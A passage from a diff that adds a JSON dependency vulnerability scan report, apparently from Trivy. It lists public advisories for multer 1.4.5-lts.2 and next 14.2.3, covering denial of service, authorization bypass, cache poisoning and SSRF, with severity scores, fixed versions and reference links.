+ "Title": "multer: Multer: Denial of Service via dropped file upload connections",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. A vulnerability in Multer prior to version 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by dropping connection during file upload, potentially causing resource exhaustion. Users should upgrade to version 2.1.0 to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-772"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "nvd": 3,
+ "redhat": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "V40Score": 8.7
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-2359",
+ "https://cna.openjsf.org/security-advisories.html",
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/cccf0fe0e64150c4f42ccf6654165c0d66b9adab",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-v52c-386h-88mc",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-2359",
+ "https://www.cve.org/CVERecord?id=CVE-2026-2359"
+ ],
+ "PublishedDate": "2026-02-27T16:16:25.467Z",
+ "LastModifiedDate": "2026-03-19T17:28:16.05Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-3304",
+ "VendorIDs": [
+ "GHSA-xf7r-hgr6-v32p"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.1.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-3304",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:8142a44799d7b3caedd0a6532c969e6ce4f9a440c48730c9de806f51644e8b5f",
+ "Title": "multer: Multer: Denial of Service via malformed requests",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. A vulnerability in Multer prior to version 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing resource exhaustion. Users should upgrade to version 2.1.0 to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-459"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "nvd": 3,
+ "redhat": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "V40Score": 8.7
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-3304",
+ "https://cna.openjsf.org/security-advisories.html",
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/739919097dde3921ec31b930e4b9025036fa74ee",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-xf7r-hgr6-v32p",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-3304",
+ "https://www.cve.org/CVERecord?id=CVE-2026-3304"
+ ],
+ "PublishedDate": "2026-02-27T16:16:26.38Z",
+ "LastModifiedDate": "2026-03-19T17:28:33.81Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-3520",
+ "VendorIDs": [
+ "GHSA-5528-5vmv-3xc2"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.1.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-3520",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e4392427baa2067ccb3d8cbf52efe874ab7cd4ae411fba46829337513dac80a1",
+ "Title": "multer: Multer: Denial of Service via malformed requests",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. A vulnerability in Multer prior to version 2.1.1 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing stack overflow. Users should upgrade to version 2.1.1 to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-674"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "nvd": 3,
+ "redhat": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "V40Score": 8.7
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-3520",
+ "https://cna.openjsf.org/security-advisories.html",
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-3520",
+ "https://www.cve.org/CVERecord?id=CVE-2026-3520"
+ ],
+ "PublishedDate": "2026-03-04T17:16:22.61Z",
+ "LastModifiedDate": "2026-03-09T18:03:23.1Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-29927",
+ "VendorIDs": [
+ "GHSA-f82v-jwr5-mffw"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "13.5.9, 14.2.25, 15.2.3, 12.3.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-29927",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e0d3a12ad946b68513e8381a8b3cf3385823f959ea2b1bb4b6f6af5c4c5a6860",
+ "Title": "nextjs: Authorization Bypass in Next.js Middleware",
+ "Description": "Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.",
+ "Severity": "CRITICAL",
+ "CweIDs": [
+ "CWE-285",
+ "CWE-863"
+ ],
+ "VendorSeverity": {
+ "ghsa": 4,
+ "redhat": 4
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
+ "V3Score": 9.1
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
+ "V3Score": 9.1
+ }
+ },
+ "References": [
+ "http://www.openwall.com/lists/oss-security/2025/03/23/3",
+ "http://www.openwall.com/lists/oss-security/2025/03/23/4",
+ "https://access.redhat.com/security/cve/CVE-2025-29927",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2",
+ "https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48",
+ "https://github.com/vercel/next.js/releases/tag/v12.3.5",
+ "https://github.com/vercel/next.js/releases/tag/v13.5.9",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw",
+ "https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-29927",
+ "https://security.netapp.com/advisory/ntap-20250328-0002",
+ "https://security.netapp.com/advisory/ntap-20250328-0002/",
+ "https://vercel.com/changelog/vercel-firewall-proactively-protects-against-vulnerability-with-middleware",
+ "https://www.cve.org/CVERecord?id=CVE-2025-29927"
+ ],
+ "PublishedDate": "2025-03-21T15:15:42.66Z",
+ "LastModifiedDate": "2025-09-10T15:49:40.637Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2024-46982",
+ "VendorIDs": [
+ "GHSA-gp8f-8m3g-qvj9"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "13.5.7, 14.2.10",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-46982",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:a3fe7f4be3b441e26cb269cd28bdf060df2638ed844bff41f937bab4a425fc71",
+ "Title": "Next.js Cache Poisoning",
+ "Description": "Next.js is a React framework for building full-stack web applications. By sending a crafted HTTP request, it is possible to poison the cache of a non-dynamic server-side rendered route in the pages router (this does not affect the app router). When this crafted request is sent it could coerce Next.js to cache a route that is meant to not be cached and send a `Cache-Control: s-maxage=1, stale-while-revalidate` header which some upstream CDNs may cache as well. To be potentially affected all of the following must apply: 1. Next.js between 13.5.1 and 14.2.9, 2. Using pages router, \u0026 3. Using non-dynamic server-side rendered routes e.g. `pages/dashboard.tsx` not `pages/blog/[slug].tsx`. This vulnerability was resolved in Next.js v13.5.7, v14.2.10, and later. We recommend upgrading regardless of whether you can reproduce the issue or not. There are no official or recommended workarounds for this issue, we recommend that users patch to a safe version.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-639"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "V3Score": 7.5,
+ "V40Score": 8.7
+ }
+ },
+ "References": [
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/7ed7f125e07ef0517a331009ed7e32691ba403d3",
+ "https://github.com/vercel/next.js/commit/bd164d53af259c05f1ab434004bcfdd3837d7cda",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-gp8f-8m3g-qvj9",
+ "https://nvd.nist.gov/vuln/detail/CVE-2024-46982"
+ ],
+ "PublishedDate": "2024-09-17T22:15:02.273Z",
+ "LastModifiedDate": "2025-09-10T15:46:05.173Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2024-51479",
+ "VendorIDs": [
+ "GHSA-7gfc-8cq8-jh5f"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.15",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-51479",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:67a1d5a6113081fdbf64538132490117ce08151004c9fa548af96529edccd239",
+ "Title": "next.js: next: authorization bypass in Next.js",
+ "Description": "Next.js is a React framework for building full-stack web applications. In affected versions if a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed for pages directly under the application's root directory. For example: * [Not affected] `https://example.com/` * [Affected] `https://example.com/foo` * [Not affected] `https://example.com/foo/bar`. This issue is patched in Next.js `14.2.15` and later. If your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version. There are no official workarounds for this vulnerability.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-285",
+ "CWE-863"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2024-51479",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/1c8234eb20bc8afd396b89999a00f06b61d72d7b",
+ "https://github.com/vercel/next.js/releases/tag/v14.2.15",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-7gfc-8cq8-jh5f",
+ "https://nvd.nist.gov/vuln/detail/CVE-2024-51479",
+ "https://www.cve.org/CVERecord?id=CVE-2024-51479"
+ ],
+ "PublishedDate": "2024-12-17T19:15:06.697Z",
+ "LastModifiedDate": "2025-09-10T15:48:08.253Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44573",
+ "VendorIDs": [
+ "GHSA-36qx-fr4f-26g5"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44573",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:c4d4a21761915329d3385f43cb5037f6ce4372f37b846fd1b3eb01e7bef86153",
+ "Title": "next.js: Next.js: Information disclosure due to middleware bypass in Pages Router with i18n",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/\u003cbuildId\u003e/\u003cpage\u003e.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-863"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "redhat": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44573",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-36qx-fr4f-26g5",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44573",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44573"
+ ],
+ "PublishedDate": "2026-05-13T17:16:22.627Z",
+ "LastModifiedDate": "2026-05-14T12:24:22.91Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44578",
+ "VendorIDs": [
+ "GHSA-c4j6-fc7j-m34r"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44578",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:2f606807f42a8267149f65df0aef6b7464ace74663a38e513d27579500c212ed",
+ "Title": "Next.js: Next.js: Server-Side Request Forgery via crafted WebSocket upgrade requests",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 13.4.13 to before 15.5.16 and 16.2.5, self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-918"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "redhat": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
+ "V3Score": 8.6
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
+ "V3Score": 8.6
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44578",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44578",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44578"
+ ],
+ "PublishedDate": "2026-05-13T18:16:17.99Z",
+ "LastModifiedDate": "2026-05-14T18:34:38.53Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-5j59-xgg2-r9c4",
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.35, 15.0.7, 15.1.11, 15.2.8, 15.3.8, 15.4.10, 15.5.9, 15.6.0-canary.60, 16.0.10, 16.1.0-canary.19",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-5j59-xgg2-r9c4",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:beb8c5b18b8d810ae8c1ef88991b0eb88db27b64ac56f0bbb63856fa4223981f",
+ "Title": "Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up",
+ "Description": "It was discovered that the fix for [CVE-2025-55184](https://github.com/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption. \n\nThis vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as [CVE-2025-67779](https://www.cve.org/CVERecord?id=CVE-2025-67779).\n\nA malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-5j59-xgg2-r9c4",
+ "https://nextjs.org/blog/security-update-2025-12-11",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-67779",
+ "https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components",
+ "https://www.cve.org/CVERecord?id=CVE-2025-55184",
+ "https://www.facebook.com/security/advisories/cve-2025-67779"
+ ],
+ "PublishedDate": "2025-12-12T17:21:57Z",
+ "LastModifiedDate": "2026-01-15T21:55:04Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-8h8q-6873-q5fj",
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-8h8q-6873-q5fj",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:c5ece5048dd1c49b106acdcd876fe224249fd21b8dff2ad18f9e2674e83c8ccf",
+ "Title": "Next.js Vulnerable to Denial of Service with Server Components",
+ "Description": "A vulnerability affects certain React Server Components packages for versions 19.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23870](https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh). \n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage. This can result in denial of service in unpatched environments.",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-8h8q-6873-q5fj",
+ "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-w94c-4vhp-22gx",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-23870"
+ ],
+ "PublishedDate": "2026-05-11T14:50:27Z",
+ "LastModifiedDate": "2026-05-11T14:50:27Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-h25m-26qc-wcjf",
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.0.8, 15.1.12, 15.2.9, 15.3.9, 15.4.11, 15.5.10, 15.6.0-canary.61, 16.0.11, 16.1.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-h25m-26qc-wcjf",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:d1225986efad9bdc7def940c835aa68ee1f9f7838e4c8aa6e64f3fb618e9efc8",
+ "Title": "Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components",
+ "Description": "A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23864](https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-h25m-26qc-wcjf",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-23864",
+ "https://vercel.com/changelog/summary-of-cve-2026-23864"
+ ],
+ "PublishedDate": "2026-01-28T15:38:01Z",
+ "LastModifiedDate": "2026-01-28T15:38:01Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-mwv6-3258-q52c",
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.34, 15.0.6, 15.1.10, 15.2.7, 15.3.7, 15.4.9, 15.5.8, 15.6.0-canary.59, 16.0.9, 16.1.0-canary.17",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-mwv6-3258-q52c",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:5be7bde491a235b3c38c6ea2faa1c428c6dcd6b5676f61b3e3dab9ab9788b9dc",
+ "Title": "Next Vulnerable to Denial of Service with Server Components",
+ "Description": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55184](https://www.cve.org/CVERecord?id=CVE-2025-55184).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-mwv6-3258-q52c",
+ "https://nextjs.org/blog/security-update-2025-12-11",
+ "https://www.cve.org/CVERecord?id=CVE-2025-55184"
+ ],
+ "PublishedDate": "2025-12-11T22:49:27Z",
+ "LastModifiedDate": "2025-12-11T22:49:28Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-q4gf-8mx6-v5v3",
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.15, 16.2.3",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-q4gf-8mx6-v5v3",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:d1e347c726eb2dece45bab319ec21befe80faee4946a5643861308f27a38e787",
+ "Title": "Next.js has a Denial of Service with Server Components",
+ "Description": "A vulnerability affects certain React Server Components packages for versions 19.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23869](https://github.com/facebook/react/security/advisories/GHSA-479c-33wc-g2pg). You can read more about this advisory our [this changelog](https://vercel.com/changelog/summary-of-cve-2026-23869).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage. This can result in denial of service in unpatched environments.",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
